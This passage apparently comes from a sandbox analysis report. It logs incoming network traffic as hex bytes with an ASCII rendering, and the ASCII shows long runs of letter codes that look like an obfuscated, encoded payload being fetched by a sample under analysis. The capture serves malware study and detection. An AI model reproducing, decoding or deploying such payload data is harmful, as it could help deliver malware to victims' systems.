2021-10-29 15:55:28 UTC 1395 IN Data Raw: 20 73 4c 50 20 50 73 42 20 50 6c 57 20 4c 4c 20 50 20 57 57 20 73 50 4c 20 55 7a 20 73 50 57 20 50 73 4f 20 
42 6c 20 57 50 20 73 57 73 20 42 50 20 50 4f 57 20 42 55 20 42 57 20 50 50 42 20 4c 6b 20 55 6c 20 50 57 7a 20 4c 4c 
20 50 20 57 57 20 50 57 55 20 50 73 6b 20 73 57 50 20 50 73 4f 20 42 6c 20 57 50 20 73 4f 73 20 4c 7a 20 50 57 4f 20 42 
55 20 42 57 20 50 50 42 20 73 4c 55 20 50 50 42 20 50 7a 73 20 4c 4c 20 50 20 57 57 20 50 55 55 20 50 73 42 20 50 55 
42 20 50 73 4f 20 42 6c 20 57 50 20 50 4f 4f 20 4c 57 20 50 73 7a 20 42 55 20 42 57 20 50 50 42 20 50 57 42 20 50 50 4f 
20 50 4c 6c 20 4c 4c 20 50 20 57 57 20 73 20 50 50 4f 20 50 7a 50 20 50 73 4f 20 42 6c 20 57 50 20 4f 6c 20 57 7a 20 73 
4f 4c 20 42 55 20 42 57 20 50 50 42 20 73 73 6b 20 50 73 4c 20 
Data Ascii:  sLP PsB PlW LL P WW sPL Uz sPW PsO Bl WP sWs BP POW BU BW PPB Lk Ul PWz LL P WW PWU Psk 
sWP PsO Bl WP sOs Lz PWO BU BW PPB sLU PPB Pzs LL P WW PUU PsB PUB PsO Bl WP POO LW Psz BU BW PPB 
PWB PPO PLl LL P WW s PPO PzP PsO Bl WP Ol Wz sOL BU BW PPB ssk PsL 

2021-10-29 15:55:28 UTC 1399 IN Data Raw: 20 7a 4f 20 50 4f 20 6c 7a 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 50 6c 55 20 57 4f 20 50 7a 42 20 42 6c
20 50 50 4c 20 50 73 50 20 4f 7a 20 57 6b 20 73 4f 7a 20 55 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 4c 42 20 50 
50 73 20 50 73 4f 20 50 50 4f 20 57 6c 20 4c 4f 20 73 4c 20 50 50 4f 20 4f 57 20 7a 50 20 50 50 73 20 57 6b 20 4f 7a 20 57
6b 20 50 7a 4c 20 7a 4f 20 73 4c 7a 20 4f 55 20 50 73 50 20 50 6b 6b 20 50 50 42 20 4f 7a 20 73 4f 73 20 50 6b 20 7a 4f 
20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 6b 20 73 57 4f 20 50 4f 20 4f 57 20 42 4f 20 57 7a 20 50 50 6c 20 
7a 7a 20 6c 6c 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 50 55 4f 20 50 50 4f 20 73 4c 50 20 50 50 55 20 7a 4c 20 4c 7a 20 
50 73 50 20 57 6b 20 55 6b 20 50 6b 57 20 50 50 4f 
Data Ascii:  zO PO lz PkU PPs Wk Oz PlU WO PzB Bl PPL PsP Oz Wk sOz U WO zO PPO PPl sLB PPs PsO PPO Wl LO 
sL PPO OW zP PPs Wk Oz Wk PzL zO sLz OU PsP Pkk PPB Oz sOs Pk zO PPO PPl PkU sOB Wk sWO PO OW BO Wz 
PPl zz ll Wk Oz Wk WO PUO PPO sLP PPU zL Lz PsP Wk Uk PkW PPO

2021-10-29 15:55:28 UTC 1403 IN Data Raw: 4f 7a 20 50 50 6b 20 4f 55 20 50 7a 57 20 50 6b 73 20 50 4f 42 20 50 6b 55 20 4f 20 50 6b 42 20 4f 7a 20 57 6b 
20 57 4f 20 7a 4f 20 73 73 7a 20 50 50 6c 20 50 6c 6b 20 50 73 50 20 73 73 4c 20 4c 42 20 73 50 42 20 57 4f 20 73 4f 7a 
20 4f 73 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 42 42 20 57 6b 20 73 4f 4c 20 55 73 20 50 57 55 20 55 6c 20 
50 73 7a 20 50 50 73 20 50 55 55 20 50 6b 4f 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 73 73 6c 20 50 6b 55 20 7a 4f 20 
50 6c 20 73 73 50 20 4c 7a 20 50 55 7a 20 7a 4f 20 50 6b 4c 20 4f 4f 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 50 42 
4f 20 57 4f 20 50 55 6b 20 50 50 42 20 50 57 73 20 50 73 50 20 50 4c 50 20 57 6b 20 6b 20 50 6b 6c 20 57 4f 20 7a 4f 20 
50 50 4f 20 50 50 6c 20 73 57 50 20 50 50 73 20 73 4c 
Data Ascii: Oz PPk OU PzW Pks POB PkU O PkB Oz Wk WO zO ssz PPl Plk PsP ssL LB sPB WO sOz Os PPl PkU PPs 
Wk PBB Wk sOL Us PWU Ul Psz PPs PUU PkO Wk WO zO PPO ssl PkU zO Pl ssP Lz PUz zO PkL OO PkU PPs Wk Oz 
PBO WO PUk PPB PWs PsP PLP Wk k Pkl WO zO PPO PPl sWP PPs sL

2021-10-29 15:55:28 UTC 1408 IN Data Raw: 20 73 4f 57 20 50 6b 55 20 73 73 57 20 50 7a 20 73 50 42 20 7a 20 73 7a 20 42 42 20 4c 57 20 50 50 42 20 50 
6b 55 20 73 4f 7a 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 50 55 4f 20 50 50 4f 20 73 4f 50 20 7a 55 20 42 4f 20 4c 42 20 
55 55 20 57 50 20 50 50 6b 20 73 73 6b 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 50 42 4f 20 4f 7a 20 73 57 73 
20 50 6c 20 55 6c 20 50 6b 6b 20 4c 4c 20 50 6b 7a 20 50 42 4f 20 50 7a 42 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 73 73 
7a 20 50 50 6c 20 4c 6b 20 7a 4c 20 50 50 20 4c 7a 20 50 6b 4c 20 57 57 20 50 57 73 20 73 4f 7a 20 50 50 6c 20 50 6b 55
20 50 50 73 20 57 6b 20 50 42 50 20 57 6b 20 6b 20 50 6b 7a 20 6c 42 20 55 55 20 57 42 20 50 50 4c 20 73 42 20 50 7a 
6c 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 73 73 7a 20 50 
Data Ascii:  sOW PkU ssW Pz sPB z sz BB LW PPB PkU sOz Wk Oz Wk WO PUO PPO sOP zU BO LB UU WP PPk ssk 
PPO PPl PkU PPs PBO Oz sWs Pl Ul Pkk LL Pkz PBO PzB Oz Wk WO zO ssz PPl Lk zL PP Lz PkL WW PWs sOz PPl 
PkU PPs Wk PBP Wk k Pkz lB UU WB PPL sB Pzl Wk WO zO PPO ssz P

2021-10-29 15:55:28 UTC 1412 IN Data Raw: 20 73 73 4f 20 4c 42 20 50 7a 6c 20 7a 57 20 50 57 42 20 73 50 73 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 
20 50 7a 6b 20 42 73 20 50 4f 50 20 50 73 42 20 50 6c 4f 20 50 73 4c 20 73 57 4f 20 57 50 20 50 55 7a 20 50 4f 6c 20 57 
4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 4c 57 20 50 73 6b 20 73 50 50 20 42 6b 20 73 50 57 20 4c 73 20 73 50 7a 20 50 
50 57 20 50 4c 7a 20 73 6b 4f 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 50 6c 42 20 55 73 20 6c 4c 20 50 73 4c 20 50 57 
6c 20 50 6b 73 20 50 7a 55 20 4f 55 20 57 4c 20 50 4f 7a 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 
7a 20 50 50 57 20 42 6b 20 73 6b 4f 20 42 42 20 73 57 4c 20 50 50 42 20 50 73 57 20 73 50 6b 20 57 6b 20 4f 7a 20 57 6b 
20 57 4f 20 73 50 6b 20 50 50 4f 20 57 6b 20 55 7a 20 50 
Data Ascii:  ssO LB Pzl zW PWB sPs PkU PPs Wk Oz Pzk Bs POP PsB PlO PsL sWO WP PUz POl WO zO PPO PPl sLW 
Psk sPP Bk sPW Ls sPz PPW PLz skO PPs Wk Oz Wk PlB Us lL PsL PWl Pks PzU OU WL POz zO PPO PPl PkU sOB 
Wz PPW Bk skO BB sWL PPB PsW sPk Wk Oz Wk WO sPk PPO Wk Uz P

Timestamp
kBytes
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2021-10-29 15:55:28 UTC 1416 IN Data Raw: 50 4f 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 7a 20 50 6b 50 20 4c 57 20 42 55 20 42 
6c 20 73 6b 73 20 50 50 42 20 73 4f 7a 20 73 50 4f 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 50 6b 20 50 73 73 20 50 7a 
7a 20 50 73 4f 20 50 4f 20 4c 6c 20 50 4c 6c 20 57 50 20 50 6c 50 20 73 4f 73 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 
50 73 20 50 7a 6b 20 57 42 20 73 73 6c 20 4c 55 20 73 73 6b 20 50 6b 50 20 73 6b 4f 20 50 6b 7a 20 73 50 4f 20 50 4f 7a 
20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 73 4f 4f 20 50 73 57 20 50 50 57 20 50 50 73 20 6c 42 20 4c 55 20 50 4c 42 20 57 
57 20 73 57 6b 20 73 50 73 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 7a 73 20 57 7a 20 50 6c 20 7a 4f 20 73 
57 6b 20 55 7a 20 73 50 57 20 50 50 4c 20 50 4c 4c 20 50 
Data Ascii: POO zO PPO PPl PkU sOB Wz PkP LW BU Bl sks PPB sOz sPO Wk Oz Wk WO sPk Pss Pzz PsO PO Ll PLl 
WP PlP sOs PPO PPl PkU PPs Pzk WB ssl LU ssk PkP skO Pkz sPO POz Oz Wk WO zO sOO PsW PPW PPs lB LU 
PLB WW sWk sPs PPl PkU PPs Wk Pzs Wz Pl zO sWk Uz sPW PPL PLL P

2021-10-29 15:55:28 UTC 1419 IN Data Raw: 50 50 55 20 50 57 55 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 73 4f 42 20 57 7a 20 50 50 20 42 6b 20 
73 57 57 20 7a 4f 20 50 42 4f 20 50 50 42 20 4c 73 20 73 50 6c 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 73 50 6b 20 50 73 
73 20 57 4f 20 55 55 20 55 42 20 57 6b 20 73 4c 6b 20 57 50 20 55 42 20 73 57 4c 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 
50 50 73 20 50 7a 6b 20 57 42 20 55 20 57 6c 20 73 4c 50 20 50 6b 50 20 50 42 73 20 50 6b 7a 20 4f 42 20 50 57 57 20 
4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 73 4f 4f 20 50 73 57 20 4f 42 20 50 73 6c 20 50 4c 55 20 4c 55 20 73 73 55 20 57 57 
20 57 50 20 73 50 55 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 50 7a 73 20 57 7a 20 50 73 4c 20 42 55 20 50 7a 
6c 20 50 50 6c 20 50 7a 50 20 50 50 4c 20 55 4c 20 50 57 4c 20 
Data Ascii: PPU PWU zO PPO PPl PkU sOB Wz PP Bk sWW zO PBO PPB Ls sPl Wk Oz Wk WO sPk Pss WO UU UB W
k sLk WP UB sWL PPO PPl PkU PPs Pzk WB U Wl sLP PkP PBs Pkz OB PWW Oz Wk WO zO sOO PsW OB Psl PLU 
LU ssU WW WP sPU PPl PkU PPs Wk Pzs Wz PsL BU Pzl PPl PzP PPL UL PWL 

2021-10-29 15:55:28 UTC 1423 IN Data Raw: 20 7a 4f 20 50 50 4f 20 50 4f 7a 20 50 6b 7a 20 73 55 20 50 57 20 4f 55 20 57 6b 20 7a 6c 20 7a 42 20 4f 57 20 
73 50 42 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 73 50 50 20 42 4c 20 73 57 20 6c 6c 20 7a 55 20 50 6b 55 20 50 
6c 20 4f 7a 20 7a 7a 20 50 57 55 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 4f 6b 20 50 50 4c 20 4c 4c 20 4f 20 50 4f 
50 20 4f 42 20 57 4c 20 50 50 73 20 73 6b 55 20 50 55 73 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 73 50 57 20 7a 57 
20 4c 57 20 42 57 20 4f 6c 20 50 50 73 20 7a 4c 20 57 6b 20 50 57 7a 20 50 57 57 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 
6b 55 20 73 73 57 20 4f 73 20 50 4f 42 20 42 20 73 4f 55 20 42 4f 20 50 55 20 50 50 55 20 73 50 4c 20 73 73 50 20 57 6b 
20 4f 7a 20 57 6b 20 57 4f 20 73 50 6b 20 50 6b 42 20 50 
Data Ascii:  zO PPO POz Pkz sU PW OU Wk zl zB OW sPB PkU PPs Wk Oz sPP BL sW ll zU PkU Pl Oz zz PWU WO zO 
PPO PPl POk PPL LL O POP OB WL PPs skU PUs PPs Wk Oz Wk sPW zW LW BW Ol PPs zL Wk PWz PWW zO PPO 
PPl PkU ssW Os POB B sOU BO PU PPU sPL ssP Wk Oz Wk WO sPk PkB P

2021-10-29 15:55:28 UTC 1427 IN Data Raw: 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 4f 55 
20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 20 50 50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 20 
55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 4f 55 20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 20 50 
50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 
4f 55 20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 20 50 50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 
4c 20 55 4c 20 50 50 6c 20 50 6b 55 20 50 50 4f 20 57 6b 20 50 4f 55 20 50 6b 20 57 4f 20 7a 4f 20 50 50 4c 20 50 50 6c 
20 50 50 7a 20 6c 7a 20 57 6b 20 4f 7a 20 57 50 20 57 4f 
Data Ascii: Wk Oz WP WO PL UL PPl PkU PPO Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP WO PL UL PPl PkU PPO 
Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP WO PL UL PPl PkU PPO Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP 
WO PL UL PPl PkU PPO Wk POU Pk WO zO PPL PPl PPz lz Wk Oz WP WO

2021-10-29 15:55:28 UTC 1431 IN Data Raw: 50 55 20 73 50 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 4f 73 20 7a 6c 20 57 6b 20 4f 7a 20 57 50 20 57 4f 
20 50 55 20 7a 57 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 20 6c 50 20 50 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 
20 73 42 20 42 6c 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 4c 6c 20 57 50 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 
20 73 6c 20 55 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 50 50 7a 20 6c 6b 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 42 
50 20 42 55 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 20 50 42 4f 20 57 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 
4f 6b 20 6c 50 20 57 6b 20 4f 7a 20 57 50 20 57 4f 20 50 55 73 20 6c 4c 20 50 50 6c 20 50 6b 55 20 50 50 4c 20 57 6b 20 
50 55 73 20 7a 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 
Data Ascii: PU sP WO zO PPW PPl Os zl Wk Oz WP WO PU zW PPl PkU PPL Wk lP P WO zO PPW PPl sB Bl Wk Oz 
WP WO PLl WP PPl PkU PPL Wk sl U WO zO PPW PPl PPz lk Wk Oz WP WO BP BU PPl PkU PPL Wk PBO W WO zO 
PPW PPl Ok lP Wk Oz WP WO PUs lL PPl PkU PPL Wk PUs z WO zO PPW PP

2021-10-29 15:55:28 UTC 1435 IN Data Raw: 4c 20 57 6b 20 73 55 20 50 50 73 20 57 4f 20 7a 4f 20 50 50 73 20 50 50 6c 20 73 6b 6c 20 4f 7a 20 57 6b 20 
4f 7a 20 4f 55 20 57 4f 20 73 6b 42 20 57 6b 20 50 50 6c 20 50 6b 55 20 50 50 42 20 57 6b 20 50 50 73 20 73 20 57 4f 20 
7a 4f 20 50 50 55 20 50 50 6c 20 6c 6b 20 50 6b 42 20 57 6b 20 4f 7a 20 57 73 20 57 4f 20 50 50 4f 20 50 6b 4f 20 50 50 
6c 20 50 6b 55 20 50 50 55 20 57 6b 20 50 4c 6c 20 50 50 4f 20 57 4f 20 7a 4f 20 50 73 73 20 50 50 6c 20 73 73 50 20 4f 
7a 20 57 6b 20 4f 7a 20 57 55 20 57 4f 20 50 42 50 20 6c 55 20 50 50 6c 20 50 6b 55 20 50 73 73 20 57 6b 20 50 55 50 20 
50 6b 20 57 4f 20 7a 4f 20 50 50 57 20 50 50 6c 20 42 4f 20 57 6b 20 57 6b 20 4f 7a 20 4f 7a 20 57 4f 20 73 4f 42 20 57 6b
20 50 50 6c 20 50 6b 55 20 50 50 57 20 57 6b 20 50 6c 
Data Ascii: L Wk sU PPs WO zO PPs PPl skl Oz Wk Oz OU WO skB Wk PPl PkU PPB Wk PPs s WO zO PPU PPl lk PkB 
Wk Oz Ws WO PPO PkO PPl PkU PPU Wk PLl PPO WO zO Pss PPl ssP Oz Wk Oz WU WO PBP lU PPl PkU Pss Wk 
PUP Pk WO zO PPW PPl BO Wk Wk Oz Oz WO sOB Wk PPl PkU PPW Wk Pl

2021-10-29 15:55:28 UTC 1440 IN Data Raw: 73 20 4f 6c 20 50 73 50 20 57 57 20 4c 50 20 7a 6b 20 50 50 55 20 57 4c 20 50 6b 7a 20 50 50 73 20 73 6c 20 
57 73 20 50 55 57 20 42 20 73 42 20 50 50 55 20 50 73 20 50 6b 55 20 50 4f 20 42 20 4f 55 20 57 6b 20 73 50 6b 20 7a 4f 
20 73 20 42 57 20 73 50 42 20 50 50 73 20 73 73 73 20 4f 7a 20 55 4f 20 55 20 50 50 57 20 50 50 4f 20 50 57 4c 20 50 6b 
55 20 50 6c 7a 20 50 50 4f 20 4f 4c 20 57 6b 20 4c 50 20 7a 57 20 50 73 20 42 57 20 50 6b 7a 20 50 50 73 20 50 55 7a 20 
4f 7a 20 6c 42 20 73 20 4c 73 20 50 50 4f 20 73 6b 4f 20 50 50 50 20 50 7a 73 20 50 50 57 20 55 4c 20 57 57 20 50 6b 20 
7a 4f 20 50 73 20 42 57 20 50 6b 7a 20 50 50 73 20 73 6b 42 20 4f 7a 20 6c 42 20 73 20 7a 57 20 50 50 4f 20 50 50 4c 20 
50 6b 7a 20 50 4f 20 42 20 4f 55 20 57 6b 20 57 7a 20 7a 
Data Ascii: s Ol PsP WW LP zk PPU WL Pkz PPs sl Ws PUW B sB PPU Ps PkU PO B OU Wk sPk zO s BW sPB PPs sss 
Oz UO U PPW PPO PWL PkU Plz PPO OL Wk LP zW Ps BW Pkz PPs PUz Oz lB s Ls PPO skO PPP Pzs PPW UL WW 
Pk zO Ps BW Pkz PPs skB Oz lB s zW PPO PPL Pkz PO B OU Wk Wz z

2021-10-29 15:55:28 UTC 1444 IN Data Raw: 20 50 6b 42 20 73 4f 7a 20 50 73 57 20 50 6c 55 20 57 4c 20 6c 42 20 73 20 7a 57 20 50 50 4f 20 73 4f 4f 20 
50 6b 4f 20 50 6c 4c 20 50 42 20 50 6c 73 20 42 4c 20 6c 50 20 7a 50 20 7a 73 20 7a 57 20 73 6b 42 20 50 73 57 20 55 55 
20 57 4c 20 73 50 20 50 50 4f 20 73 57 4f 20 50 73 6c 20 4c 42 20 50 50 50 20 50 4f 20 42 20 4c 73 20 57 6b 20 50 6b 4c 
20 7a 42 20 4c 6c 20 6c 73 20 50 6c 6b 20 50 73 57 20 50 6b 6c 20 57 6b 20 42 42 20 73 20 50 57 4c 20 50 73 6c 20 73 
6b 20 50 50 50 20 73 7a 20 50 4c 20 73 73 6c 20 42 4c 20 6c 50 20 7a 42 20 57 55 20 7a 55 20 6c 57 20 50 73 50 20 57 
50 20 57 50 20 57 6b 20 4c 50 20 50 4f 50 20 50 73 6c 20 73 6b 20 50 50 50 20 50 6c 7a 20 50 50 4f 20 4f 4c 20 57 6b 20 
50 6b 4c 20 7a 42 20 50 73 20 42 57 20 50 6b 4f 20 50 73 73 20 
Data Ascii:  PkB sOz PsW PlU WL lB s zW PPO sOO PkO PlL PB Pls BL lP zP zs zW skB PsW UU WL sP PPO sWO Psl 
LB PPP PO B Ls Wk PkL zB Ll ls Plk PsW Pkl Wk BB s PWL Psl sk PPP sz PL ssl BL lP zB WU zU lW PsP WP WP Wk 
LP POP Psl sk PPP Plz PPO OL Wk PkL zB Ps BW PkO Pss 

Timestamp
kBytes
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2021-10-29 15:55:28 UTC 1448 IN Data Raw: 20 50 50 6c 20 50 73 6c 20 50 6b 6c 20 50 6c 20 57 42 20 50 4f 57 20 57 4f 20 7a 4c 20 50 6b 55 20 55 73 20 
50 6b 50 20 50 55 57 20 57 6b 20 50 55 20 4f 50 20 50 50 6c 20 55 73 20 73 6b 55 20 50 50 6c 20 42 6c 20 50 50 50 20 
50 73 4c 20 57 42 20 50 73 55 20 57 4f 20 55 42 20 50 6b 57 20 73 73 20 50 6b 50 20 73 50 50 20 57 6b 20 50 6b 50 20 4f 
57 20 55 57 20 55 73 20 50 55 4c 20 50 50 6c 20 7a 4c 20 50 6b 42 20 50 6c 6c 20 57 42 20 50 4f 57 20 57 4f 20 57 42 20 
50 6b 55 20 73 57 73 20 50 6b 50 20 50 55 57 20 57 6b 20 50 73 42 20 4f 6b 20 50 4f 55 20 55 73 20 4f 55 20 50 50 6c 20 
50 57 57 20 50 73 6c 20 50 57 57 20 57 42 20 50 73 55 20 57 4f 20 50 6b 20 50 6b 4f 20 50 7a 73 20 50 6b 50 20 57 50 20 
57 6b 20 50 55 7a 20 42 50 20 73 57 57 20 55 73 20 50 55 4c 
Data Ascii:  PPl Psl Pkl Pl WB POW WO zL PkU Us PkP PUW Wk PU OP PPl Us skU PPl Bl PPP PsL WB PsU WO UB 
PkW ss PkP sPP Wk PkP OW UW Us PUL PPl zL PkB Pll WB POW WO WB PkU sWs PkP PUW Wk PsB Ok POU Us OU 
PPl PWW Psl PWW WB PsU WO Pk PkO Pzs PkP WP Wk PUz BP sWW Us PUL

2021-10-29 15:55:28 UTC 1451 IN Data Raw: 57 50 20 57 6b 20 50 55 7a 20 42 50 20 73 50 4f 20 6c 4f 20 4f 55 20 50 50 6c 20 50 57 57 20 50 73 6c 20 7a 
73 20 4f 6c 20 50 50 4c 20 57 4f 20 50 42 73 20 50 73 57 20 73 4f 57 20 50 50 4f 20 57 50 20 57 6b 20 50 55 7a 20 42 50 
20 50 57 6b 20 6c 57 20 4f 55 20 50 50 6c 20 50 57 57 20 50 73 6c 20 73 4f 73 20 4f 6c 20 50 50 4c 20 57 4f 20 50 42 73 
20 50 73 57 20 50 4f 55 20 50 50 4f 20 57 50 20 57 6b 20 50 55 7a 20 42 50 20 57 4f 20 50 50 42 20 4f 55 20 50 50 6c 20 
50 57 57 20 50 73 6c 20 50 50 4f 20 50 42 20 73 4f 50 20 57 4f 20 50 6b 42 20 50 6b 4f 20 73 50 20 6c 6c 20 50 6c 55 20 
57 6b 20 50 73 42 20 4f 6b 20 50 7a 73 20 50 50 42 20 50 6c 6c 20 50 50 6c 20 57 50 20 50 6b 42 20 50 4f 42 20 50 42 
20 73 4f 50 20 57 4f 20 57 7a 20 50 6b 4f 20 50 7a 50 20 6c 
Data Ascii: WP Wk PUz BP sPO lO OU PPl PWW Psl zs Ol PPL WO PBs PsW sOW PPO WP Wk PUz BP PWk lW OU P
Pl PWW Psl sOs Ol PPL WO PBs PsW POU PPO WP Wk PUz BP WO PPB OU PPl PWW Psl PPO PB sOP WO PkB 
PkO sP ll PlU Wk PsB Ok Pzs PPB Pll PPl WP PkB POB PB sOP WO Wz PkO PzP l

2021-10-29 15:55:28 UTC 1455 IN Data Raw: 20 50 6b 20 50 50 4c 20 57 4f 20 50 42 73 20 50 73 57 20 57 4c 20 7a 6c 20 57 50 20 57 6b 20 50 55 7a 20 42 
50 20 50 7a 73 20 73 50 20 73 73 57 20 50 50 6c 20 50 57 57 20 50 73 6c 20 50 4f 42 20 50 50 4c 20 50 42 50 20 57 4f 20 
50 42 73 20 50 73 57 20 50 4f 55 20 4f 4f 20 73 73 6c 20 57 6b 20 50 55 7a 20 42 50 20 57 4f 20 73 73 20 73 73 57 20 50 
50 6c 20 50 57 57 20 50 73 6c 20 50 7a 20 50 50 4f 20 50 42 50 20 57 4f 20 50 42 73 20 50 73 57 20 57 4c 20 4f 6c 20 73 
73 6c 20 57 6b 20 50 55 7a 20 42 50 20 7a 42 20 73 73 20 73 73 57 20 50 50 6c 20 50 57 57 20 50 73 6c 20 73 4c 20 4f 
7a 20 50 4c 4f 20 4c 7a 20 50 50 57 20 50 50 4f 20 50 55 4c 20 50 73 57 20 57 57 20 57 6b 20 50 4c 73 20 4c 4f 20 50 6b 
50 20 7a 4f 20 50 55 7a 20 50 6b 50 20 57 6b 20 50 50 73 20 
Data Ascii:  Pk PPL WO PBs PsW WL zl WP Wk PUz BP Pzs sP ssW PPl PWW Psl POB PPL PBP WO PBs PsW POU 
OO ssl Wk PUz BP WO ss ssW PPl PWW Psl Pz PPO PBP WO PBs PsW WL Ol ssl Wk PUz BP zB ss ssW PPl PWW Psl 
sL Oz PLO Lz PPW PPO PUL PsW WW Wk PLs LO PkP zO PUz PkP Wk PPs 

2021-10-29 15:55:28 UTC 1459 IN Data Raw: 4c 20 73 6b 4c 20 4f 4c 20 4f 7a 20 57 6b 20 73 73 6b 20 50 6b 42 20 50 6c 55 20 50 6b 7a 20 50 50 50 20 50 
50 73 20 4c 55 20 4f 7a 20 4f 55 20 57 4f 20 7a 42 20 50 50 4f 20 73 4f 6b 20 50 6b 55 20 50 50 6c 20 57 6b 20 4f 55 20 
57 6b 20 50 6c 42 20 7a 4f 20 50 50 55 20 50 50 6c 20 50 50 50 20 50 50 73 20 50 7a 50 20 4f 7a 20 57 4c 20 57 4f 20 7a 
57 20 50 50 4f 20 73 57 4c 20 50 6b 55 20 50 50 55 20 57 6b 20 57 6b 20 57 6b 20 50 6c 4f 20 7a 4f 20 50 73 4c 20 50 50 
6c 20 50 6b 7a 20 50 50 73 20 50 6c 50 20 4f 7a 20 57 55 20 57 4f 20 7a 42 20 50 50 4f 20 73 73 4c 20 50 6b 55 20 50 73 
4c 20 57 6b 20 57 6b 20 57 6b 20 73 4f 4c 20 7a 4f 20 50 73 6c 20 50 50 6c 20 50 50 50 20 50 50 73 20 73 57 57 20 4f 7a 
20 42 50 20 57 4f 20 7a 42 20 50 50 4f 20 50 57 73 20 50 
Data Ascii: L skL OL Oz Wk ssk PkB PlU Pkz PPP PPs LU Oz OU WO zB PPO sOk PkU PPl Wk OU Wk PlB zO PPU PPl 
PPP PPs PzP Oz WL WO zW PPO sWL PkU PPU Wk Wk Wk PlO zO PsL PPl Pkz PPs PlP Oz WU WO zB PPO ssL PkU 
PsL Wk Wk Wk sOL zO Psl PPl PPP PPs sWW Oz BP WO zB PPO PWs P

2021-10-29 15:55:28 UTC 1463 IN Data Raw: 4c 50 20 50 50 6c 20 73 4f 4f 20 50 50 73 20 50 4f 42 20 4f 7a 20 50 57 6c 20 57 4f 20 73 4c 4f 20 50 50 4f 20 
50 57 6c 20 50 6b 55 20 50 4c 73 20 57 6b 20 57 55 20 57 50 20 4c 4c 20 7a 57 20 55 73 20 50 50 42 20 7a 6c 20 50 50 
4c 20 55 55 20 4f 55 20 50 50 50 20 57 57 20 50 55 55 20 50 50 57 20 50 7a 42 20 50 6b 7a 20 50 73 6b 20 4f 7a 20 73 
55 20 4f 7a 20 50 73 4f 20 7a 42 20 4c 57 20 50 50 55 20 42 7a 20 50 50 42 20 7a 6b 20 57 73 20 6c 4c 20 57 6b 20 73 73 
6c 20 50 50 7a 20 50 6b 50 20 50 6b 4f 20 4c 57 20 57 57 20 50 6b 57 20 57 57 20 7a 4c 20 7a 50 20 73 4c 7a 20 50 50 
73 20 73 6b 50 20 50 50 6c 20 50 57 7a 20 57 4c 20 73 6b 6c 20 57 50 20 50 6c 20 50 50 42 20 4c 73 20 50 6b 6c 20 73 5
7 20 57 73 20 50 42 4f 20 57 73 20 73 6b 50 20 7a 73 20 50 73 73 
Data Ascii: LP PPl sOO PPs POB Oz PWl WO sLO PPO PWl PkU PLs Wk WU WP LL zW Us PPB zl PPL UU OU PPP 
WW PUU PPW PzB Pkz Psk Oz sU Oz PsO zB LW PPU Bz PPB zk Ws lL Wk ssl PPz PkP PkO LW WW PkW WW zL zP 
sLz PPs skP PPl PWz WL skl WP Pl PPB Ls Pkl sW Ws PBO Ws skP zs Pss

2021-10-29 15:55:28 UTC 1467 IN Data Raw: 7a 20 50 50 6c 20 4f 6b 20 50 50 73 20 6c 4c 20 4f 7a 20 50 50 55 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 
50 6b 55 20 50 73 6c 20 57 6b 20 73 6b 20 4f 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 73 57 4f 20 50 50 4c 20 73 
